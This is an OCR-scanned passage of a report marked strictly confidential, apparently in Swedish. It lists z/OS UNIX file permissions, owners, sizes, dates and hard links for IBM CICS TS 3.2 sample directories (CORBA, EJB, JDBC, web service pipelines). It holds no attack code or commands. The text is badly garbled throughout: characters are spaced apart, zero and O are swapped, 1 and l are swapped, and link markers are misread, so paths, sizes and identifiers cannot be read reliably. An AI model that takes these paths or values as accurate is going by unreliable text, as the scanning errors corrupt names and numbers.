drwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kAc c o u n t / j ava c l i e n t /  

- rwxrwx r - x  0 S U PERU S R  OMVSGRP 5 2 7 9  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / j ava c l i e n t / b a n k L i n eMode C l i e n t . j av a  

drwxrwx r - x  0 S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B an kAc c o un t / j avac l i e n t / I BM /  

h rwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c o rb / B a n kA c c o u n t / j ava c l i e n t / I BM / D F J @ H 0 0 6  l i n k  t o  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / j ava c l i e n t / b a n k L i neModeC l i e n t . j av a  

drwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B an kAc c o un t / s e rve r /  

- rwxrwx r - x  O S U PERU S R  OMVSGRP 9 8 9 5  O c t  1 6  2 0 0 7  

/ u s r / lpp / c l c s t s / c l c s t s 3 2 / s amp l e s / d f J c o rb / B a n kA c c o u n t / s e rv e r / _B a n kA c c o u n t i mp l . j ava 

- rwxrwx r - x  O S U PERUSR OMVSGRP 2 3 7 5  O c t  1 6  2 0 0 7  

/ u s r / l pp / c l c s t s / c l c s t s 3 2 / s amp l e s / df J C O rb / B a n kAc c o un t / s e r ve r /  B a n kA c c o u n t L i s t i mp l . j ava 

- rwxrwx r - x  0 S U PERUSR OMVS GRP 4 3 8 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kA c c o u n t / s e rve r / A c c o u n t Re c o r d . j av a  

- rwxrwx r - x  O S U PERU S R  OMVS GRP 4 0 1 9  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c o r b / B an kAc c o u n t / s e rve r / C r e d i t C h e c kC omma . j ava 

drwxrwx r - x  0 S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kAc c o un t / s e rve r / I BM /  

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / s e rve r / I B M / D F J @ H 0 0 7  l i n k  t o  

/ u s r / l pp / c i c s t s / c l c s t s 3 2 / s amp l e s / d f J c o rb / B a n kA c c o u n t / s e rve r /  B a n kA c c o u n t i mp l . J ava 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / s e rve r / I B M / D F J @ H 0 0 8  l i n k  t o  

/ u s r / l p p / c l c s t s / c l c s t s 3 2 / s amp l e s / d f J c O r b / B a n kA c c o un t / s e rve r /  B a n kA c c o u n t L l s t i mp l . J av a  

hrwxrwx r - x  0 S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kAc c o un t / s e rve r / I BM / D F J @ H 0 0 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / s e rv e r / A c c o u n t Re c o r d . j ava 

hrwx rwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lp p / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / s e rve r / I BM / D F J @ H 0 1 0  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o un t / s e rve r / C r e d i t C h e c kC omma . j ava 

Strict ly confidenti a l  l Bus i ness Secret l 



- rwxrwx r - x  0 S U PERU S R  OMVSGRP 1 1 6 4 O c t  1 6  2 0 0 7  

/ u s r / 1 pp/ c i c s t s / c i c s t s 3 2 / s amp 1 e s / d f j c o rb / B a n kAc c o u n t / s e rve r / I BM / D FJ @ H 0 1 1  

- rwxrwx r - x  O S U PERU S R  OMVS GRP 2 6 1 6  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kA c c o u n t / s e rve r / I BM / D F J @ H 0 1 2  

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lp p / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kA c c o un t / s e rve r / Make f i l e  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kA c c o u n t / s e rve r / I BM / D F J @ H 0 1 1  

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kAc c o u n t / s e rv e r / M a ke f i l e . b a n k  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kAc c o un t / s e rve r / I BM / D F J @ H 0 1 2  

- rwxrwx r - x  0 S U PERUSR OMVSGRP 2 1 6 3  May 15 2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kAc c o u n t / B a n kA c c o un t . i d l  

drwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B an kAc c o u n t / I BM /  

hrwxrwx r - x  0 S U PERUSR OMVS GRP O May 15 2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kA c c o un t / I BM / DFJ@ H 0 0 5  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / B a n kA c c o un t / B a n kA c c o un t . i d l  

- rwxrwx r - x  0 S U PERU S R  OMVSGRP 2 7 3 9  Oct 1 6  2 0 0 7  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / C o s L i f e C yc l e . i d l  

- rwxrwx r - x  O S U PERUSR OMVSGRP 2 6 1 5  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / C o sNaming . i d l  

drwxrwx r - x  0 SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d /  

drwx rwx r - x  O S U PERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / He l l oWo r l d / c l i e n t / 

- rwxrwx r - x  O S U P E RU S R  OMVS GRP 3 8 2 7  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / c l i e n t / H e l l oW o r l dC l i e n t . j ava 

drwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / c l i e n t / I BM/ 

hrwxrwx r - x  O S U PERU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / c l i e n t / I BM / D F J @ H 0 3 2  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / He l l oW o r l d / c l i e n t / He l l oW o r l dC l i e n t . j ava 

drwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / s e rve r /  

- rwxrwx r - x  O S U PERUSR OMVSGRP 1 1 9 3  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / s e rve r /  He l l oW o r l d i mp l . j ava 

drwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / s e rve r / I BM /  

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / s e rve r / I BM / D F J @ H 0 3 1  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / s e rv e r /_He l l oW o r l d i mp l . j ava 

- rwxrwx r - x  0 S U PERU S R  OMVSGRP 1 1 4 5  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / s e rve r / I BM / D F J @ H 0 3 3  

- rwxrwx r - x  O S U PERUSR OMV S GRP 1 7 1 6  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / He l l oW o r l d / s e rve r / I BM / D F J @ H 0 3 4  

hrwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / s e rv e r /Make f i l e  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oWo r l d / s e rve r / I BM / D F J @ H 0 3 3  

Sidan 233 av 574 

Report 

Str ict ly confidenti a l  l Bus i ness Secret l 



h rwxrwx r - x  O SUPERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / d f j c o rb / H e 1 1 oW o r l d / s e rv e r / M a ke f i l e . h e l l o  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / s e rve r / I BM / D F J @ H 0 3 4  

- rwxrwx r - x  O SUPERUSR OMVS GRP 8 7 9  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c o rb / H e l l oW o r 1 d / H e 1 1 oWo r 1 d . i d l  

drwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / I BM /  

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / H e l l oW o r l d / I BM / D F J @ H 0 3 0  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c o rb / H e l l oWo r l d / H e l l oWo r l d . i d l  

drwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / IBM/ 

hrwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / I BM / D F J @ H 0 2 8  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / C o sNaming . i d l  

h rwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / I BM / D F J @ H 0 2 9 l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb / C o s L i f e C y c l e . i d l  

Sidan  234 av 574 

Report 

drwxrwx r - x  0 S U PERU S R  OMVS GRP O Oct 1 1  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b /  

drwxrwx r - x  O SUPERUSR OMV S GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t /  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 2 0 1 4 0 5  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / e ab l i b . j a r 

- rwxrwx r - x  0 S U PERUSR OMVS GRP 1 4 9 3 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / r e a dme . t x t  

- rwxrwx r - x  O S U PERU S R  OMVS GRP 1 4 2 8 0 4  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / r e c j ava . j a r 

- rwxrwx r - x  O S U PERU S R  OMVS GRP 2 5 6 2 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / C i c s S amp l e . e a r  

drwxrwx r - x  O S U P E RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n ka c c o un t / I BM /  

h rwxrwx r - x  0 S U P E RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / I BM / D F J @ H 1 1 6  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / e a b l i b . j a r 

h rwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / I BM / D F J @ H 1 1 7  l i n k  t o  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / r e c j ava . j a r 

- rwxrwx r - x  O S U PERU S R  OMVSGRP 5 1 9 5 4  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / I BM / D F J @ H 1 1 8  

hrwxrwx r - x  O S U P E RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / I BM / D F J @ H 1 1 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / C i c s S amp l e . e a r  

- rwxrwx r - x  O SUPERUSR OMVS GRP 2 9 3 6 4 8  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n ka c c o u n t / I BM / D F J @ H 1 4 1  

- rwxrwx r - x  O S U PERU S R  OMVS GRP 7 5 6 7  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / I BM / D F J @ H 1 4 2  

Strict ly confidenti a l  l Bus i ness Secret l 



hrwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / IBM/ D F J @ H 1 4 4  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / r e a dme . t x t  

hrwxrwx r - x  0 SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / S amp l e C L I . j a r l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / IBM/ D F J @ H 1 4 2  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / S amp l e E JB . j a r l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o u n t / I B M / D F J @ H 1 1 8  

hrwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / S amp l eVAJ . da t  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / b a n k a c c o un t / I BM / D F J @ H 1 4 1  

drwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / h e l l o w o r l d /  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 1 1 3 3 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / r e a dme . t x t  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 4 9 0 8  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / runEJB IVP 

- rwxrwx r - x  0 SUPERUSR OMVS GRP 2 1 8 0 3  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / h e l l ow o r l d / C I C S He l l oWo r l d . e a r  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 1 6 3 0 9  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / h e l l ow o r l d / He l l oW o r l dC L I . j a r 

- rwxrwx r - x  0 S U PE RU S R  OMVSGRP 3 8 1 6 4  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / He l l oW o r l dE JB . j a r 

drwxrwx r - x  O S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / I BM/ 

h rwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / I BM/ D F J @ H 0 7 3  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / H e l l oW o r l dE JB . j a r 

h rwxrwx r - x  O SUPERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / I B M / D F J @ H 0 7 4  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / He l l oW o r l dC L I . j a r 

h rwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / h e l l ow o r l d / I BM / D F J @ H 0 7 5  1 i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / C I C S H e l l oW o r l d . e a r  

hrwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / I BM / D F J @ H 1 4 0  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / he l l ow o r l d / runE JB I V P  

h rwxrwx r - x  0 S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / h e l l ow o r l d / I B M / D F J @ H 1 4 3  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b / h e l l o w o r l d / r e a dme . t x t  

Sidan  235 av 574 

Report 

drwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c /  

- rwxrwx r - x  O SUPERUSR OMVS GRP 5 5 7 2  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S j db c D a t a S o u r c e . j ava 

- rwxrwx r - x  O SUPERU S R  OMVS GRP 5 9 4 4  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S D a t a S ou r c e Pu b l i s h . j av a  

- rwxrwx r - x  O SUPERUSR OMVSGRP 4 8 7 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S Da t a S o u r c e Re t r a c t . j av a  

Strict ly confidenti a l  l Bus iness Secret l 



- rwxrwx r - x  0 S U PE RU S R  OMVS GRP 7 2 5 6  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S DB 2 D a t a S o u r c e . j a r 

Sidan 236 av 574 

Report 

drwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / I BM /  

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / I BM / D F J @ H 1 3 6  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S Da t a S o u r c e Re t r a c t . j ava 

hrwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / I B M / D F J @ H 1 3 7  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S D a t a S ou r c e P ub l i s h . j ava 

hrwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / I BM / D F J @ H 1 3 8  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S j db c D a t a S o u r c e . j ava 

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / I B M / D F J @ H 1 3 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / j db c / C I C S DB 2 D a t a S o u r c e . j a r 

drwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s /  

- rwxrwx r - x  O S U PE RU S R  OMVSGRP 2 7 8  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / b a s i c s o ap 1 1 p r o v i de r . xml 

- rwxrwx r - x  0 S U PERUSR OMVS GRP 2 5 4  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / b a s i c s o ap 1 1 r e que s t e r . xml 

- rwxrwx r - x  O S U PERU S R  OMVSGRP 1 0 8 8 0  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / p r o v i de r . x s d  

- rwxrwx r - x  O S U PERU S R  OMVS GRP 1 0 2 0 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i pe l i n e s / r e qu e s t e r . x s d  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 1 8 5 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p ip e l i n e s / w s a t p r o v i de r . xml 

- rwxrwx r - x  0 S U PERUSR OMVS GRP 1 6 7 8  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / w s a t r e qu e s t e r . xml 

drwxrwx r - x  O S U PERU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / IBM/ 

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i pe l i n e s / I BM / D F J @ H 1 8 8  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / p r o v i de r . x s d  

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / p i p e l i ne s / I B M / D F J @ H 1 8 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i ne s / r e qu e s t e r . x s d  

hrwxrwx r - x  0 S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i pe l i ne s / I BM / D F J @ H 1 9 0  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / b a s i c s o a p 1 1 p r o v i de r . xml 

hrwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i pe l i n e s / I B M / D F J @ H 1 9 1  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / b a s i c s o ap 1 1 r e qu e s t e r . xml 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / I B M / D F J @ H 2 0 7  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / w s a t p r o v i de r . xml 

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / I BM / D F J @ H 2 0 8  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / p i p e l i n e s / w s a t r e qu e s t e r . xml 

Strictly confidenti a l  l Bus i ness Secret l 



drwxrwx r - x  O SU PERU S R  OMVS GRP O Oct 1 1  2 0 0 7  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r output c l a s s /  

drwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 1  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r output c l a s s / c o m /  

drwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 1  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routput c l a s s / com/ ibm/ 

drwxrwx r - x  O S U PE RU S R  OMVS GRP O Oct 1 1  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r outpu t c l a s s / com/ ibm/ c i c s / 

drwxrwx r - x  0 SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routput c l a s s / c o m / ibm/ c i c s / s amp l e s /  

drwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r outpu t c l a s s / c om / ibm/ c i c s / s amp l e s / I BM /  

- rwxrwx r - x  0 S U PE RU S R  OMVSGRP 1 1 6 0 8  O c t  1 6  2 0 0 7  

Sidan 237 av 574 

Report 

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r o u tput c l a s s / c o m / ibm/ c i c s / s amp l e s / I B M / D F J @ H 1 6 6  

- rwxrwx r - x  O SUPERU S R  OMVSGRP 8 6 5 5  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routput c l a s s / c o m / ibm/ c i c s / s amp l e s / I BM / D F J @ H 1 6 7  
